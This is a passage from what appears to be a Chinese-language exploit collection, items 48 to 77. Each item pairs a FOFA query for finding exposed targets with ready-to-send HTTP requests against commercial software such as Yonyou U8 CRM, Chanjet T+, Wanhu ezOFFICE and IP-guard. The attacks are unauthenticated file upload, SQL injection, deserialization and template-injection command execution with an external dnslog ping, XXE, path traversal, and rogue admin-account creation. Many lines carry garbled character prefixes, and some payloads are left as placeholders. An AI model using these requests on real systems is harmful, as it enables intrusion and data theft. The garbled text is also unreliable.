8 w9 n* C3 S. P$ j5 e, T0 O+ M5 V' DAccept-Encoding: gzip, deflate, br
* o, L, m5 F3 R. S7 [8 b2 i' jAccept-Language: zh-CN,zh;q=0.9
8 u; ]) F7 R3 mIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
" O9 p: J" v! WConnection: close
3 }, }# V7 Z! J+ s

" R7 D0 y1 z/ x0 U
48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
& C0 O. T3 t; z' i9 z% @Host: your-ip
! y4 Z5 ^8 C1 I4 Q" r. Q* S* vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ {. M/ l* f" Z; ]) t# a. u8 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* d4 k- ?+ t% m: QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
( H  k4 h, {0 t/ p0 ^' _4 [% V) r9 IContent-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
3 J& X0 @2 o7 H/ b/ D------269520967239406871642430066855
/ N' z* i2 o4 ^Content-Disposition: form-data; name="upload"
3 k8 l) k4 x3 _  C* Bupload
------269520967239406871642430066855--
7 N1 e2 j6 G5 M3 ]' x1 X. q: U9 w
: D  r* U: I; i
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
( g( p# V& W& k3 D9 S) Q
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
- x: m3 ]' [- W- _5 ?  [: S5 qHost: x.x.x.x
. N+ O( b& B0 {. KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! [6 r9 W' ~! \5 h6 s) iContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  }  n+ M. b* v9 I+ i- |% hConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
7 x$ q' |( P/ |9 q9 F4 D
" h* d/ ?, p8 X: _+ _-----------------------------vvv3wdayqv3yppdxvn3w
( I/ A5 b+ `; i' E9 [! WContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
4 \6 c( r6 p2 g4 t
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--


' C$ U5 g, h- {/ f, Phttp://x.x.x.x/tmpfile/updB3CB.tmp.php

1 m2 d+ G( n) U* |50. QDocs Smart School 6.4.1 filterRecords SQL注入
( P; Y7 S" P4 F" f  E" @FOFA：body="close closebtnmodal"
. W: m( \" m5 B, }0 ~( TPOST /course/filterRecords/ HTTP/1.1
$ p9 R9 x1 I  D4 }! OHost: x.x.x.x
% M/ n) `! Y  u. \& M3 p" b& @, BUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! H3 [, l9 t" P8 C8 @8 s4 TConnection: close
Content-Length: 224
Accept: */*
; E4 T6 J, }$ ]6 j0 e, `2 ]Accept-Language: en
4 c* x. Y8 A$ v4 n! N# {Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
2 q/ W& }* I8 R3 s
  d0 D, x9 p% n- X9 k, O8 Lsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
" i. P$ J6 t9 G5 @

& r/ X9 B% i6 R% t* f% ~. w51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
2 \$ d. s( V' cGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
# o# W8 o6 `1 b2 D! }8 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
% w) Z  }* k4 A) v+ k  }9 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 G; x" ]/ [9 C) C' ?# a; T" N
, M; c$ H1 C  u/ ~
: B" _6 x2 u+ O- ~% _9 |) J52. 泛微E-Office json_common.php sql注入
% n  a2 f& Y& e* AFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
( @- o/ G4 s' ?) AHost: 192.168.86.128:8097
! @' m. X: W' M5 P( W/ B* E+ MUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: z' N- S$ Q1 }+ D) y0 `Connection: close
/ G/ L9 D5 D0 a9 M& M- pContent-Length: 87
; H  P/ C  M& O( y6 dAccept: */*
4 e- f" {8 g  ]8 A# P$ u, aAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


$ ]# o3 Q7 U" N5 }  e( Z4 g2 W, Q53. 迪普 DPTech VPN Service 任意文件上传
* p. G) P* d. x8 U7 \8 XFOFA：app="DPtech-SSLVPN"
% o& l# m! ]# f7 M/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

. u( E; \9 Y- F& `
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
' Q4 ~7 e- j# M' {FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


3 q0 g% c- ?* F- `1 Y# n0 [( Y完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
6 K3 s& k1 k' RHost: x.x.x.x
* c8 t$ H+ q+ e" T2 o, ]User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
' c8 V) U) J* s0 N: \  Q
{
. m4 S6 F4 ~. M: \0 j, |"storeID":{
7 C9 g7 p" C6 _$ o "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
, h  h3 [3 z3 D. @! v6 @6 r   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
& k: M" l' T6 q% x0 V   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
) P5 |2 _. S) U& [& T' Z    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
% N3 [0 R/ p9 ^* |# Y! n: O}
* ?$ i7 K8 |2 a1 ]
, I5 g" U/ E* f9 z5 _
8 c- O/ E& O: w% T! R: u3 d第二步，访问如下url
) {3 U% O' f6 b+ c( Z6 [, b0 ~$ F/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
" X$ Q5 f* h# `7 v1 Q

5 c$ q- y* O  Y# ~* N8 [55. 畅捷通T+ getdecallusers信息泄露
0 u5 ?$ l+ O; Z. O) U  o) U- i0 yFOFA：app="畅捷通-TPlus"
" {1 d8 k& g" ?& y第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
2 [, f; S4 r; X+ M7 v* V" ]$ ?第二步，利用获取到的Cookie请求
7 P7 n% E  Z( q# Q3 B& d8 w/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
6 L! S3 [0 M9 i* Z
4 l1 t7 h0 t: T% F3 ?1 l3 f9 |56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
1 J9 C; m  D! M& Q- \- q- |- oFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
' |4 N* e2 {* |- L. `6 {Content-Type: application/json

{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
$ h" b2 s% l1 ^' V/ H   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
$ i1 L' ]7 x3 g$ W5 N9 Y/ K; q           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
$ p7 x5 B/ a+ F2 ^  }
: @6 H# H& L% a8 ^; l}
# G2 ]9 N0 x$ X9 w3 C8 Q0 C
; u! ~" |; F3 E5 x0 m. h
- a0 c+ S) {' m1 M; G57. 畅捷通T+ keyEdit.aspx SQL注入
$ W& D' f4 m+ WFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
* R& H4 f  y/ S: K* @$ n, q+ v/ oAccept-Encoding: gzip, deflate
Connection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
9 w% r! J! d* u- @' n+ N: I0 t( y1 G% [) ZFOFA：app="畅捷通-TPlus"
/ q; h. J+ H5 r0 ?GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
& `# w) r" K" e( Y0 f( \% jAccept-Encoding: gzip, deflate
Connection: close


& X$ P4 W5 ?2 }" x1 Q59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
! i/ _0 p0 G8 d+ e/ r6 iFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+ H- r2 F8 D0 i+ T+ bHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
: a* g% T5 e# {3 iAccept: */*
Accept-Language: en
) E' ~$ E8 c) |! R) Q* Z" X8 R+ cContent-Type: application/x-www-form-urlencoded
, m# P( M  @( m+ O* g6 h3 Z# j4 pAccept-Encoding: gzip

5 N' R2 K  m# B& J9 d) LPAYLOAD
* [+ p+ {' q: g# ^
! C# w) Y- U* P! f6 t$ M/ C
, r- I& G( m/ R( D0 W60. 百卓Smart管理平台 importexport.php SQL注入
/ C! }; q( v/ F7 S! s8 v1 FFOFA：title="Smart管理平台"
- p  T/ c: l5 `2 l, W" ?8 u2 JGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 z$ d' _+ v; z- |6 x9 P# zAccept-Encoding: gzip, deflate
0 w( Q! n5 F5 k, OAccept-Language: zh-CN,zh;q=0.9
Connection: close
7 M# L% o& G% E2 V# I

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
# _$ Q2 I6 y9 U/ z& }. Y# y. R# JPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
, ?, m/ }  q+ B( }: J3 i; [4 XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ k$ N# g; |- V2 J9 Z# K7 N) MConnection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
9 r' N6 I( u! f0 y) N/ q& ?Accept-Language: en
, |, `/ [  l* r' F- x9 P! eContent-Type: application/x-www-form-urlencoded
: v* L8 `  s6 O: m7 G- i3 x: K6 G& F
- @* \& h1 ?# M( m$ M1 f$ p8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
, P  D8 Y1 @  O6 r6 s9 V1 `% X) wFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
( s, `- g+ ]0 T/ `) h) O; bUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
/ `5 ]. d6 N, O, b4 o1 [+ sConnection: close
! y5 I9 ^. W* a- AAccept: */*
Accept-Language: en
/ X3 ]5 {7 l% M6 P) VAccept-Encoding: gzip


) E, u) B  H* @访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
; N3 H# K: \' x# R5 MHost: x.x.x.x

* [5 U7 w& ?- z6 d  c: G5 g0 r
63. IP-guard WebServer任意文件读取
: {) `/ _7 f* G& O/ T* R7 @8 {IP-guard < 4.82.0609.0
$ `& X$ g9 U1 i4 F5 ~+ V0 t! m* wFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
5 c( d3 i. F, W3 @- l1 V' uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
1 u+ W( j4 H, DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! o+ ]2 J( }1 v2 JConnection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
; G) L+ y& K3 C+ ]FOFA：body="/Scripts/EnjoyMsg.js"
) Y1 ]0 }4 f: r' n# n8 gPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
/ I& l3 A; `- R+ X# `4 {Host: 192.168.86.128:9001
0 c  @5 J( `# l/ GUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
3 b2 \( H! X( l9 v, ?( q& ?Connection: close
Content-Length: 369
Accept: */*
& S1 [& D/ ^& m, @* u0 zAccept-Language: en
8 j5 a/ c- @" A4 A! UContent-Type: text/xml; charset=utf-8
: B4 ?7 m7 G# OAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
  m- V4 {6 M4 a  J% p) y. v+ ]  |      <sId>1';waitfor delay '0:0:5'--+</sId>
9 s9 O1 f# l, j3 _5 {5 b6 g6 G! {' Y/ \    </GetOSpById>
  </soap:Body>
</soap:Envelope>
3 e& X. I, W: E" s$ E7 W( s
. S8 e- N* g% O- A0 T
) H+ L- S" ~, v& \0 b65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
- w9 |. p8 @0 F4 n* {, vFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
# ?) t  R/ k+ y! z6 @, L1 ^响应200即成功创建账号test123456/123456
' }' Z) |9 s) D- zPOST /SystemMng.ashx HTTP/1.1
* @5 j% r5 N+ ]5 \2 \! m. OHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
) ?8 A% F& L: A' w2 KAccept: */*
; B# T' w1 Y0 k) j- v1 ]Connection: close
, S. V% v- S# c/ }% XAccept-Language: en
/ X& r5 r) G# K. D! X! i+ FContent-Length: 174

' Z  V( m6 r, i. j  S3 f6 G/ _* moperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
" a3 Q* \+ m7 ^' G6 w

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
1 O! m- `, l- L0 Y& d. v# @FOFA：app="万户ezOFFICE协同管理平台"

: R' P' `) R  h* _, ?9 jGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
7 _7 s2 M, Z0 a# W$ O, `8 i5 fConnection: close
5 c# u3 r, u6 f4 L! ?( |$ qAccept: */*
* J0 E0 s; j% A" o; j, k3 j0 ~Accept-Language: en
Accept-Encoding: gzip
7 T1 `  s1 s+ j! |1 s) C

第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
5 [8 b  K7 J2 mFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
4 S4 V# l0 m. M* e/ F" V/ MPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
8 d( |: Y; F3 SHost: x.x.x.x
. ]; C- L5 L) Y6 N. K9 M( fUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
5 F/ ?) K& \) \6 k: v* R. t' zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
7 I0 C9 U( o# G' M, T' xAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  m1 U. D* z# d9 zConnection: close
$ S4 @* C* s0 v$ kContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
2 S% @7 i. C! d) }8 K. ?1 w) }4 t! kDNT: 1
Upgrade-Insecure-Requests: 1
: D0 r; r/ ?2 ]* @3 u8 X5 T
5 f0 ^* Z9 m' V: d+ Q4 A! T--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
5 h$ y. C5 b/ \5 M  v
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

- M- N, a8 a9 g6 Y1 J5 C
, l" Q) x5 e% v& \  o& ]. P; ]文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
! _- k& V) F' D/ XFOFA：app="万户ezOFFICE协同管理平台"
: z; V" m) I0 h# s4 o( w' X$ }GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
* U, Z( G$ X# U, P; T2 p" \Accept-Language: zh-CN,zh;q=0.9
Connection: close
' R0 C8 @: n( S# |% t8 g
+ Q2 S3 @2 w( Y/ h- v
69. 万户 ezOFFICE contract_gd.jsp SQL注入
/ _9 W# Z# s! M8 _" ?FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
, d1 P8 f2 d8 h7 ]4 eHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
! X$ C. k% u5 y! QAccept-Encoding: gzip, deflate
Accept: */*
; z1 x2 l6 O4 D2 F- c" lConnection: keep-alive
5 C& s. e) T0 r* I9 n6 R' T
- T8 a# U4 V, W" ]; s0 H
70. 万户ezEIP success 命令执行
* D- R$ b- m( }6 G8 Z) G5 Y# l$ RFOFA：app="万户网络-ezEIP"
; y7 _7 S. h8 d: QPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
0 L! a% X/ V5 l4 P4 Y( `% gSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
8 \) q8 \3 I0 ]Content-Type: application/x-www-form-urlencoded
TYPE: C
; e; x) ^* P7 @5 e4 Q( nContent-Length: 16702
# T: z9 B  x3 K% ^$ Y
__VIEWSTATE=PAYLOAD
8 \9 B8 B- t$ |* ?

7 T$ F/ s1 b8 j& H7 \+ D71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
  h' T2 y  u8 z! n$ k2 UFOFA：body="PM2项目管理系统BS版增强工具.zip"
7 M) r+ X1 j" h0 Q, z' j5 Q4 uGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
9 O9 B7 b) |4 e' o. H5 SUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
) T! M' }3 G8 P' e2 _& ?Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, l' I6 r2 c7 }Accept-Encoding: gzip, deflate
( E6 |4 e1 d( j! j9 q( GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 {) I# T9 [9 d5 X2 ?Upgrade-Insecure-Requests: 1
+ f- E% b) S! s0 D/ q. \0 s6 U* x

72. 致远OA getAjaxDataServlet XXE
0 \0 }! `( k1 ^1 tFOFA：app="致远互联-OA"
: P. J  h( n& R1 N7 G3 A, vPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
4 X% V" g6 V, D, J: y& ?+ Y5 pConnection: close
& a: \; ]. l$ U0 L2 B# m! XContent-Length: 583
2 z0 d) L) ^% k% UContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

! W# |) ]  S+ ^# C, F( c
73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
7 S( h6 E1 s6 m1 ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
: v! A7 \. ]5 R2 m* UContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
+ v" R7 O4 |4 a' `SL-CE-SUID: 3
+ y* c+ G. h, T5 `9 [6 c2 O
PAYLOAD

- V" u4 m* H0 T, I8 c
  V* ~9 c* n" z3 S7 N; k, ?; a' m* N74. 致远M3-server 6_1sp1 反序列化RCE
6 N. J4 ], X# U: m" X' D6 dFOFA：title="M3-Server"
3 s9 F( K, G' C3 e2 P& ^0 tPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
- y% `: d2 ?# i* a- FHost: x.x.x.x
2 ^$ R3 U8 ]4 S( g0 y( }4 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
3 [; S( o3 n* {3 R. i* C8 TAccept: */*
Accept-Language: en
Accept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x


# [2 ]6 b5 U3 G" D3 |76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
3 R6 w$ K5 J" B4 ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
! f4 ^; J# U5 G/ p: w. N: L# pUpgrade-Insecure-Requests: 1

{
- l% i" P! m) F1 e' w1 w+ R"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
* ^# i9 N( o; \2 d$ y  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

) R6 }6 }9 ?- c* \( O7 w, h
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

3 t8 w3 ^; d# f( {* Y. z5 p
4 C) A. Z+ p7 z6 J5 N% u: G& g
" w* a' l" q6 Z% z  Q$ @77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
